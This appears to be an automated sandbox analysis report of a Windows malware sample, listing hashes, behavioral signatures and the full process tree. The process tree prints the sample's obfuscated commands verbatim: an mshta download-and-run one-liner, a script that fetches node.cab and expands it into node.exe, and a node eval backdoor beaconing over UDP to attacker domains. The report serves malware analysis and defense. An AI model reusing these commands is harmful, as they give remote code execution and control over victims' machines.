Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7v20210408 -
submitted
29-06-2021 10:01
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210629.exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
General
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Target
usfive_20210629.exe
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Size
2KB
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MD5
09353c5898ccf513210a58fb9bb369e7
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SHA1
bb664adcc58466a0b158651a9e4216dbfd08607b
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SHA256
28918d35a5f4103695d04817fd2ac7de977d316a0cc94dad3b3f124f030686bc
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SHA512
0cd0a4f8b38b92d9bf46f2e068ce99917a7835b8bcb4a9ec4b0d3e7d570f34f48252e4e82df5f1fffc075aa82ae9c3eaab0e4e943de56f5003c97efd78c44e15
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 2 1280 mshta.exe 3 764 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 1560 node.exe -
Loads dropped DLL 1 IoCs
pid Process 1656 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1052 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1240 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1384 ipconfig.exe 1016 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 972 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\7fc28e6d90299108:ads node.exe File created C:\ProgramData\DNTException\node.exe:f83f891c64e4399f2884fe8b0878ff07 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 2 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1560 node.exe 1560 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1240 tasklist.exe Token: SeIncreaseQuotaPrivilege 1996 wmic.exe Token: SeSecurityPrivilege 1996 wmic.exe Token: SeTakeOwnershipPrivilege 1996 wmic.exe Token: SeLoadDriverPrivilege 1996 wmic.exe Token: SeSystemProfilePrivilege 1996 wmic.exe Token: SeSystemtimePrivilege 1996 wmic.exe Token: SeProfSingleProcessPrivilege 1996 wmic.exe Token: SeIncBasePriorityPrivilege 1996 wmic.exe Token: SeCreatePagefilePrivilege 1996 wmic.exe Token: SeBackupPrivilege 1996 wmic.exe Token: SeRestorePrivilege 1996 wmic.exe Token: SeShutdownPrivilege 1996 wmic.exe Token: SeDebugPrivilege 1996 wmic.exe Token: SeSystemEnvironmentPrivilege 1996 wmic.exe Token: SeRemoteShutdownPrivilege 1996 wmic.exe Token: SeUndockPrivilege 1996 wmic.exe Token: SeManageVolumePrivilege 1996 wmic.exe Token: 33 1996 wmic.exe Token: 34 1996 wmic.exe Token: 35 1996 wmic.exe Token: SeIncreaseQuotaPrivilege 1996 wmic.exe Token: SeSecurityPrivilege 1996 wmic.exe Token: SeTakeOwnershipPrivilege 1996 wmic.exe Token: SeLoadDriverPrivilege 1996 wmic.exe Token: SeSystemProfilePrivilege 1996 wmic.exe Token: SeSystemtimePrivilege 1996 wmic.exe Token: SeProfSingleProcessPrivilege 1996 wmic.exe Token: SeIncBasePriorityPrivilege 1996 wmic.exe Token: SeCreatePagefilePrivilege 1996 wmic.exe Token: SeBackupPrivilege 1996 wmic.exe Token: SeRestorePrivilege 1996 wmic.exe Token: SeShutdownPrivilege 1996 wmic.exe Token: SeDebugPrivilege 1996 wmic.exe Token: SeSystemEnvironmentPrivilege 1996 wmic.exe Token: SeRemoteShutdownPrivilege 1996 wmic.exe Token: SeUndockPrivilege 1996 wmic.exe Token: SeManageVolumePrivilege 1996 wmic.exe Token: 33 1996 wmic.exe Token: 34 1996 wmic.exe Token: 35 1996 wmic.exe Token: SeDebugPrivilege 1016 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1832 wrote to memory of 1280 1832 usfive_20210629.exe 25 PID 1832 wrote to memory of 1280 1832 usfive_20210629.exe 25 PID 1832 wrote to memory of 1280 1832 usfive_20210629.exe 25 PID 1832 wrote to memory of 1280 1832 usfive_20210629.exe 25 PID 1280 wrote to memory of 1980 1280 mshta.exe 27 PID 1280 wrote to memory of 1980 1280 mshta.exe 27 PID 1280 wrote to memory of 1980 1280 mshta.exe 27 PID 1280 wrote to memory of 1980 1280 mshta.exe 27 PID 1980 wrote to memory of 764 1980 cmd.exe 29 PID 1980 wrote to memory of 764 1980 cmd.exe 29 PID 1980 wrote to memory of 764 1980 cmd.exe 29 PID 1980 wrote to memory of 764 1980 cmd.exe 29 PID 1980 wrote to memory of 1588 1980 cmd.exe 32 PID 1980 wrote to memory of 1588 1980 cmd.exe 32 PID 1980 wrote to memory of 1588 1980 cmd.exe 32 PID 1980 wrote to memory of 1588 1980 cmd.exe 32 PID 1980 wrote to memory of 1656 1980 cmd.exe 34 PID 1980 wrote to memory of 1656 1980 cmd.exe 34 PID 1980 wrote to memory of 1656 1980 cmd.exe 34 PID 1980 wrote to memory of 1656 1980 cmd.exe 34 PID 1656 wrote to memory of 1560 1656 cscript.exe 35 PID 1656 wrote to memory of 1560 1656 cscript.exe 35 PID 1656 wrote to memory of 1560 1656 cscript.exe 35 PID 1656 wrote to memory of 1560 1656 cscript.exe 35 PID 1560 wrote to memory of 1252 1560 node.exe 37 PID 1560 wrote to memory of 1252 1560 node.exe 37 PID 1560 wrote to memory of 1252 1560 node.exe 37 PID 1560 wrote to memory of 1252 1560 node.exe 37 PID 1560 wrote to memory of 1496 1560 node.exe 38 PID 1560 wrote to memory of 1496 1560 node.exe 38 PID 1560 wrote to memory of 1496 1560 node.exe 38 PID 1560 wrote to memory of 1496 1560 node.exe 38 PID 1560 wrote to memory of 1052 1560 node.exe 39 PID 1560 wrote to memory of 1052 1560 node.exe 39 PID 1560 wrote to memory of 1052 1560 node.exe 39 PID 1560 wrote to memory of 1052 1560 node.exe 39 PID 1560 wrote to memory of 1936 1560 node.exe 40 PID 1560 wrote to memory of 1936 1560 node.exe 40 PID 1560 wrote to memory of 1936 1560 node.exe 40 PID 1560 wrote to memory of 1936 1560 node.exe 40 PID 1560 wrote to memory of 996 1560 node.exe 41 PID 1560 wrote to memory of 996 1560 node.exe 41 PID 1560 wrote to memory of 996 1560 node.exe 41 PID 1560 wrote to memory of 996 1560 node.exe 41 PID 1560 wrote to memory of 1240 1560 node.exe 42 PID 1560 wrote to memory of 1240 1560 node.exe 42 PID 1560 wrote to memory of 1240 1560 node.exe 42 PID 1560 wrote to memory of 1240 1560 node.exe 42 PID 1560 wrote to memory of 1996 1560 node.exe 44 PID 1560 wrote to memory of 1996 1560 node.exe 44 PID 1560 wrote to memory of 1996 1560 node.exe 44 PID 1560 wrote to memory of 1996 1560 node.exe 44 PID 1560 wrote to memory of 1384 1560 node.exe 45 PID 1560 wrote to memory of 1384 1560 node.exe 45 PID 1560 wrote to memory of 1384 1560 node.exe 45 PID 1560 wrote to memory of 1384 1560 node.exe 45 PID 1560 wrote to memory of 1404 1560 node.exe 46 PID 1560 wrote to memory of 1404 1560 node.exe 46 PID 1560 wrote to memory of 1404 1560 node.exe 46 PID 1560 wrote to memory of 1404 1560 node.exe 46 PID 1560 wrote to memory of 1016 1560 node.exe 47 PID 1560 wrote to memory of 1016 1560 node.exe 47 PID 1560 wrote to memory of 1016 1560 node.exe 47 PID 1560 wrote to memory of 1016 1560 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1936 attrib.exe 996 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\usfive_20210629.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210629.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1832 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();249;y=unescape('%340%7Eh%74t%70%3A%2F%2F%6Cu%31%2E%61s%69a%2Fh%72i%2F%3F%321%616%654%62%7E%322%35').split('~');230;try{x='WinHttp';9;x=new ActiveXObject(x+'.'+x+'Request.5.1');231;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);65;x.send();195;y='ipt.S';106;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);152;}catch(e){};214;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1280 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1624960882723.txt & cscript /nologo /e:jscript get1624960882723.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F2e8cd079e%26b%3D328ead9f" node.cab & expand node.cab node.exe & del get1624960882723.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1624960882723.txt & cscript /nologo /e:jscript get1624960882723.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e8cd079e%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1624960882723.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1980 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1624960882723.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F2e8cd079e%26b%3D328ead9f" node.cab4⤵
- Blocklisted process makes network request
PID:764
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:1588
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1624960882723.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e8cd079e%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1656 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e8cd079e%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1252
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1496
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:1052
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:1936
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:996
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1240
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1996
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1384
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:1404
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1016
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:972
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